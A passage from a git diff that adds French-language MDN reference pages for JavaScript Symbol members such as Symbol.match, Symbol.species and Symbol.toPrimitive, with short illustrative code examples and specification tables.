+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol.keyfor', 'Symbol.keyFor')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Symbol.keyFor")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Symbol.for()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/match/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/match/index.html
new file mode 100644
index 0000000000..74939e18fd
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/symbol/match/index.html
@@ -0,0 +1,79 @@
+---
+title: Symbol.match
+slug: Web/JavaScript/Reference/Objets_globaux/Symbol/match
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Propriété
+  - Reference
+  - Symbol
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/match
+---
+<div>{{JSRef}}</div>
+
+<p>Le symbole <code><strong>Symbol.match</strong></code> définit la correspondance d'une expression rationnelle par rapport à une chaîne de caractères. Cette fonction est appelée par la méthode {{jsxref("String.prototype.match()")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/symbol-match.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette fonction est également utilisée pour identifier les objets qui jouent un rôle avec les expressions rationnelles. Ainsi, les méthodes {{jsxref("String.prototype.startsWith()")}}, {{jsxref("String.prototype.endsWith()")}} et {{jsxref("String.prototype.includes()")}} vérifient si leur premier argument est une expression rationnelle et lèvent une exception {{jsxref("TypeError")}} si c'est le cas. Si le symbole <code>match</code> est modifié et vaut une valeur <code>false</code> (ou équivalente), cela indique que l'objet ne doit pas être utilisé comme une expression rationnelle.</p>
+
+<p>{{js_property_attributes(0,0,0)}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Le code suivant renverra une exception {{jsxref("TypeError")}} :</p>
+
+<pre class="brush: js">"/truc/".startsWith(/truc/);
+
+// lève une TypeError car /truc/
+// est une expression rationnelle
+// et que Symbol.match n'a pas été modifié.</pre>
+
+<p>Cependant, si <code>Symbol.match</code> vaut <code>false</code>, cette vérification <code>isRegExp</code> indiquera que l'objet à prendre en compte n'est pas une expression rationnelle. Les méthodes <code>startsWith</code> et <code>endsWith</code> ne déclencheront donc pas d'exception <code>TypeError</code>.</p>
+
+<pre class="brush: js">var re = /toto/;
+re[Symbol.match] = false;
+"/toto/".startsWith(re); // true
+"/truc/".endsWith(re);   // false
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-symbol.match', 'Symbol.match')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol.match', 'Symbol.match')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Symbol.match")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Symbol.replace")}}</li>
+ <li>{{jsxref("Symbol.search")}}</li>
+ <li>{{jsxref("Symbol.split")}}</li>
+ <li>{{jsxref("RegExp.@@match", "RegExp.prototype[@@match]()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/matchall/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/matchall/index.html
new file mode 100644
index 0000000000..93b8428c10
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/symbol/matchall/index.html
@@ -0,0 +1,67 @@
+---
+title: Symbol.matchAll
+slug: Web/JavaScript/Reference/Objets_globaux/Symbol/matchAll
+tags:
+  - JavaScript
+  - Propriété
+  - Reference
+  - Symbol
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/matchAll
+---
+<div>{{JSRef}}</div>
+
+<p>Le symbole connu <code><strong>Symbol.matchAll</strong></code> renvoie un itérateur qui fournit l'ensemble des correspondances entre une expression rationnelle et une chaîne de caractères. Cette fonction est implicitement appelée par la méthode {{jsxref("String.prototype.matchAll()")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/symbol-matchall.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Description">Description</h2>
+
+<div>
+<p>Ce symbole est utilisé par {{jsxref("String.prototype.matchAll()")}} et plus particulièrement par {{jsxref("RegExp.@@matchAll", "RegExp.prototype[@@matchAll]()")}}. Les deux lignes qui suivent renverront le même résultat :</p>
+
+<pre class="brush: js">'abc'.matchAll(/a/);
+
+/a/[Symbol.matchAll]('abc');</pre>
+
+<p>Cette méthode existe afin de personnaliser le comportement des correspondances pour les sous-classes de {{jsxref("RegExp")}}.</p>
+
+<p>{{js_property_attributes(0,0,0)}}</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Voir les pages {{jsxref("String.prototype.matchAll()")}} et {{jsxref("RegExp.@@matchAll", "RegExp.prototype[@@matchAll]()")}} pour plus d'exemples.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol.matchall', 'Symbol.matchAll')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Symbol.matchAll")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.matchAll()")}}</li>
+ <li>{{jsxref("RegExp.@@matchAll", "RegExp.prototype[@@matchAll]()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/prototype/index.html
new file mode 100644
index 0000000000..916d192253
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/symbol/prototype/index.html
@@ -0,0 +1,74 @@
+---
+title: Symbol.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/Symbol/prototype
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Propriété
+  - Reference
+  - Symbol
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>Symbol</strong></code><strong><code>.prototype</code></strong> représente le prototype du constructeur {{jsxref("Symbol")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/symbol-prototype.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Les instances de {{jsxref("Symbol")}} héritent toutes de {{jsxref("Symbol.prototype")}}. Ce prototype du constructeur peut être utilisé afin d'ajouter des propriétés et/ou des méthodes pour chaque instance de <code>Symbol</code> via la chaîne de prototypes.</p>
+
+<p>{{js_property_attributes(0,0,0)}}</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>Symbol.prototype.constructor</code></dt>
+ <dd>Cette propriété correspond à la fonction qui a crée l'instance du prototype. Par défaut, c'est la fonction {{jsxref("Symbol")}} qui est renvoyée.</dd>
+ <dt>{{jsxref("Symbol.prototype.description")}}</dt>
+ <dd>Une chaîne de caractères en lecture seule qui contient la description du symbole.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("Symbol.prototype.toSource()")}} {{Non-standard_inline}}</dt>
+ <dd>Cette méthode renvoie une chaîne de caractères contenant la source de l'objet {{jsxref("Objets_globaux/Symbol", "Symbol")}}. Cette méthode surcharge la méthode {{jsxref("Object.prototype.toSource()")}}.</dd>
+ <dt>{{jsxref("Symbol.prototype.toString()")}}</dt>
+ <dd>Cette méthode renvoie une chaîne de caractères contenant la description du symbole. Cette méthode surcharge la méthode {{jsxref("Object.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("Symbol.prototype.valueOf()")}}</dt>
+ <dd>Cette méthode renvoie la valeur primitive de l'objet {{jsxref("Symbol")}}. Cette méthode surcharge la méthode {{jsxref("Object.prototype.valueOf()")}}.</dd>
+ <dt>{{jsxref("Symbol.prototype.@@toPrimitive()", "Symbol.prototype[@@toPrimitive]")}}</dt>
+ <dd>Renvoie la valeur primitive de l'objet {{jsxref("Symbol")}}.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-symbol.prototype', 'Symbol.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol.prototype', 'Symbol.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Symbol.prototype")}}</p>
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/replace/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/replace/index.html
new file mode 100644
index 0000000000..e469681898
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/symbol/replace/index.html
@@ -0,0 +1,59 @@
+---
+title: Symbol.replace
+slug: Web/JavaScript/Reference/Objets_globaux/Symbol/replace
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Propriété
+  - Reference
+  - Symbol
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/replace
+---
+<div>{{JSRef}}</div>
+
+<p>Le symbole connu <code><strong>Symbol.replace</strong></code> définit la méthode utilisée pour remplacer les correspondances trouvées dans une chaîne de caractères. Cette fonction est appelée par la méthode {{jsxref("String.prototype.replace()")}}.</p>
+
+<p>Pour plus d'informations, se référer aux pages sur {{jsxref("RegExp.@@replace", "RegExp.prototype[@@replace]()")}} et {{jsxref("String.prototype.replace()")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/symbol-replace.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-symbol.replace', 'Symbol.replace')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol.replace', 'Symbol.replace')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Symbol.replace")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Symbol.match")}}</li>
+ <li>{{jsxref("Symbol.search")}}</li>
+ <li>{{jsxref("Symbol.split")}}</li>
+ <li>{{jsxref("RegExp.@@replace", "RegExp.prototype[@@replace]()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/search/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/search/index.html
new file mode 100644
index 0000000000..02fed384b8
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/symbol/search/index.html
@@ -0,0 +1,59 @@
+---
+title: Symbol.search
+slug: Web/JavaScript/Reference/Objets_globaux/Symbol/search
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Propriété
+  - Reference
+  - Symbol
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/search
+---
+<div>{{JSRef}}</div>
+
+<p>Le symbole connu <code><strong>Symbol.search</strong></code> définit la méthode qui renvoie l'indice indiquant la position d'une correspondance trouvée dans une chaîne de caractères grâce à une expression rationnelle. Cette fonction est appelée par la méthode {{jsxref("String.prototype.search()")}}.</p>
+
+<p>Pour plus d'informations, se référer aux pages sur {{jsxref("RegExp.@@search", "RegExp.prototype[@@search]()")}} et {{jsxref("String.prototype.search()")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/symbol-search.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-symbol.search', 'Symbol.search')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol.search', 'Symbol.search')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Symbol.search")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Symbol.match")}}</li>
+ <li>{{jsxref("Symbol.replace")}}</li>
+ <li>{{jsxref("Symbol.split")}}</li>
+ <li>{{jsxref("RegExp.@@search", "RegExp.prototype[@@search]()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/species/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/species/index.html
new file mode 100644
index 0000000000..771782df4a
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/symbol/species/index.html
@@ -0,0 +1,73 @@
+---
+title: Symbol.species
+slug: Web/JavaScript/Reference/Objets_globaux/Symbol/species
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Propriété
+  - Reference
+  - Symbol
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/species
+---
+<div>{{JSRef}}</div>
+
+<p>Le symbole <code><strong>Symbol.species</strong></code> correspond à une fonction utilisée comme constructeur pour créer des objets dérivés.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/symbol-species.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Description">Description</h2>
+
+<p>L'accesseur <code>species</code> permettent aux classes filles de surcharger le constructeur par défaut des objets.</p>
+
+<p>{{js_property_attributes(0,0,0)}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans certains cas, vous pouvez avoir besoin de renvoyer {{jsxref("Array")}} pour les objets de votre classe dérivée <code>MonArray</code>. Cela permet par exemple d'utiliser le constructeur par défaut lors d'un appel à {{jsxref("Array.map", "map()")}}. De cette façon, ces méthodes renverront un objet <code>Array</code> plutôt qu'un objet <code>MonArray</code>. Grâce au symbole <code>species</code>, vous pouvez donc faire :</p>
+
+<pre class="brush: js">class MonArray extends Array {
+  // On surcharge species avec le constructeur parent Array
+  static get [Symbol.species]() { return Array; }
+}
+var a = new MonArray(1,2,3);
+var mapped = a.map(x =&gt; x * x);
+
+console.log(mapped instanceof MonArray); // false
+console.log(mapped instanceof Array);    // true</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-symbol.species', 'Symbol.species')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol.species', 'Symbol.species')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Symbol.species")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Map.@@species", "Map[@@species]")}}</li>
+ <li>{{jsxref("Set.@@species", "Set[@@species]")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/split/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/split/index.html
new file mode 100644
index 0000000000..4be991bee2
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/symbol/split/index.html
@@ -0,0 +1,59 @@
+---
+title: Symbol.split
+slug: Web/JavaScript/Reference/Objets_globaux/Symbol/split
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Propriété
+  - Reference
+  - Symbol
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/split
+---
+<div>{{JSRef}}</div>
+
+<p>Le symbole connu <code><strong>Symbol.split</strong></code> définit la méthode qui est utilisée pour découper une chaîne de caractères à l'emplacement où une correspondance a été trouvée grâce à une expression rationnelle. Cette fonction est appelée par la méthode {{jsxref("String.prototype.split()")}}.</p>
+
+<p>Pour plus d'informations, se référer aux pages sur {{jsxref("RegExp.@@split", "RegExp.prototype[@@split]()")}} et {{jsxref("String.prototype.split()")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/symbol-split.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-symbol.split', 'Symbol.split')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol.split', 'Symbol.split')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Symbol.split")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Symbol.match")}}</li>
+ <li>{{jsxref("Symbol.replace")}}</li>
+ <li>{{jsxref("Symbol.search")}}</li>
+ <li>{{jsxref("RegExp.@@split", "RegExp.prototype[@@split]()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/toprimitive/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/toprimitive/index.html
new file mode 100644
index 0000000000..cd3aaed1ed
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/symbol/toprimitive/index.html
@@ -0,0 +1,88 @@
+---
+title: Symbol.toPrimitive
+slug: Web/JavaScript/Reference/Objets_globaux/Symbol/toPrimitive
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Propriété
+  - Reference
+  - Symbol
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/toPrimitive
+---
+<div>{{JSRef}}</div>
+
+<p>Le symbole « connu » <code><strong>Symbol.toPrimitive</strong></code> définit une fonction qui est appelée pour convertir un objet en une valeur primitive.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/symbol-toprimitive.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Lorsqu'on convertit un objet en une valeur primitive et que l'objet possède une propriété <code>Symbol.toPrimitive</code> dont la valeur est une fonction, la fonction est appelée avec une chaîne de caractère (<code>hint</code>) qui définit le type qu'on privilégie pour la valeur primitive. L'argument <code>hint</code> peut prendre l'une des valeurs suivantes : <code>"number"</code>, <code>"string"</code> ou <code>"default"</code>.</p>
+
+<p>{{js_property_attributes(0,0,0)}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on voit comment la propriété <code>Symbol.toPrimitive</code> peut modifier la valeur primitive obtenue lors de la conversion d'un objet.</p>
+
+<pre class="brush: js">// Premier cas avec un objet sans Symbol.toPrimitive.
+let obj1 = {};
+console.log(+obj1);     // NaN
+console.log(`${obj1}`); // "[object Object]"
+console.log(obj1 + ""); // "[object Object]"
+
+// Second cas : l'objet a une propriété Symbol.toPrimitive
+var obj2 = {
+  [Symbol.toPrimitive](hint) {
+    if (hint === "number") {
+      return 10;
+    }
+    if (hint === "string") {
+      return "coucou";
+    }
+    return true;
+  }
+};
+console.log(+obj2);     // 10       -- hint vaut "number"
+console.log(`${obj2}`); // "coucou" -- hint vaut "string"
+console.log(obj2 + ""); // true     -- hint vaut "default"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Etat</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-symbol.toprimitive', 'Symbol.toPrimitive')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol.toprimitive', 'Symbol.toPrimitive')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Symbol.toPrimitive")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.@@toPrimitive", "Date.prototype[@@toPrimitive]")}}</li>
+ <li>{{jsxref("Symbol.@@toPrimitive", "Symbol.prototype[@@toPrimitive]")}}</li>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+ <li>{{jsxref("Object.prototype.valueOf()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/tosource/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/tosource/index.html
new file mode 100644
index 0000000000..1816fe5c24
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/symbol/tosource/index.html
@@ -0,0 +1,60 @@
+---
+title: Symbol.prototype.toSource()
+slug: Web/JavaScript/Reference/Objets_globaux/Symbol/toSource
+tags:
+  - JavaScript
+  - Méthode
+  - Non-standard
+  - Prototype
+  - Reference
+  - Symbol
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/toSource
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>La méthode <code><strong>toSource()</strong></code> renvoie une chaîne de caractères représentant le code source de l'objet.</p>
+
+<p>L'utilisation de cette méthode est généralement interne au moteur JavaScript.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>Symbol</var>.toSource();
+
+var <var>sym</var> = Symbol();
+<var>sym</var>.toSource();</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères qui représente le code source de l'objet.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>toSource</code> renvoie les valeurs suivantes :</p>
+
+<ul>
+ <li>Pour l'objet <code>Symbol</code> natif, <code>toSource()</code> renvoie la chaîne suivante, indiquant que le code source n'est pas disponible :
+
+  <pre class="brush:js">"function Symbol() {
+   [native code]
+}"</pre>
+ </li>
+ <li>Pour les instances de <code>Symbol</code>, <code>toSource()</code> renvoie une chaîne représentant le code source :
+  <pre class="brush: js">"Symbol()"</pre>
+ </li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette méthode ne fait partie d'aucun standard.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Symbol.toSource")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}} {{Non-standard_inline()}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/tostring/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/tostring/index.html
new file mode 100644
index 0000000000..ee2778bbde
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/symbol/tostring/index.html
@@ -0,0 +1,82 @@
+---
+title: Symbol.prototype.toString()
+slug: Web/JavaScript/Reference/Objets_globaux/Symbol/toString
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
